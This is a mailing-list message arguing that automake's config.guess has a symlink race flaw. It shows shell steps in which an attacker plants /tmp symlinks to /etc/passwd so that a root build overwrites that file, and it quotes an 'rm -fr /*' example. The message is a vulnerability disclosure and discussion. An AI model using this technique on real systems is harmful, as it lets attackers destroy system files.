Re: Security vulnerability in automake

[Lawrence Teo]

> Effort to reduce this kind of a security "hole" are quite fruitless, so 
> long as I
> or anyone can build a ./configure that will simply "rm -fr /*";

Please correct me if I'm wrong, but doesn't that again inaccurately assume 
what David pointed out: that the attacker and distributor/provider are the 
same person? If the attacker is not the provider, then there's no way for 
the attacker to get a user to run a configure with "rm -rf /". Yet, if 
config.guess still contains that "hole", then an attacker can still cause 
some damage.

Maybe I should explain my attack again. Attacker sets up symlinks in /tmp 
like this:

attacker$ cd /tmp
attacker$ mkdir package-1.0.0
attacker$ cd package-1.0.0
attacker$ ln -s /etc/passwd dummy-7836.c
attacker$ ln -s /etc/passwd dummy-7837.c
attacker$ ln -s /etc/passwd dummy-7838.c
[....]

Now, the admin downloads package-1.0.0.tar.gz in its original, untampered 
form. Attacker has no way to modify package-1.0.0.tar.gz. But 
package-1.0.0.tar.gz contains the config.guess "hole". Admin builds and 
installs it as follows:

admin$ su -
root# cd /tmp
root# tar zxvf package-1.0.0.tar.gz
root# cd package-1.0.0
root# ./configure
root# make
root# make install

Since configure calls config.guess, which in turn overwrites the dummy-$$.c 
file (if config.guess happens to run as the attacker's predicted PID), 
/etc/passwd is hosed. All this while, attacker does not need to modify 
package-1.0.0.tar.gz to introduce malicious scripts.

This is just one way to perform an attack, and there may be others. I do 
know that Slackware's build scripts use the /tmp directory for building as 
root, so it may be vulnerable to this attack.

Lawrence

--
Lawrence Teo
lcteo at uncc dot edu
http://www.coe.uncc.edu/~lcteo

_________________________________________________________________
Join the world’s largest e-mail service with MSN Hotmail. 
http://www.hotmail.com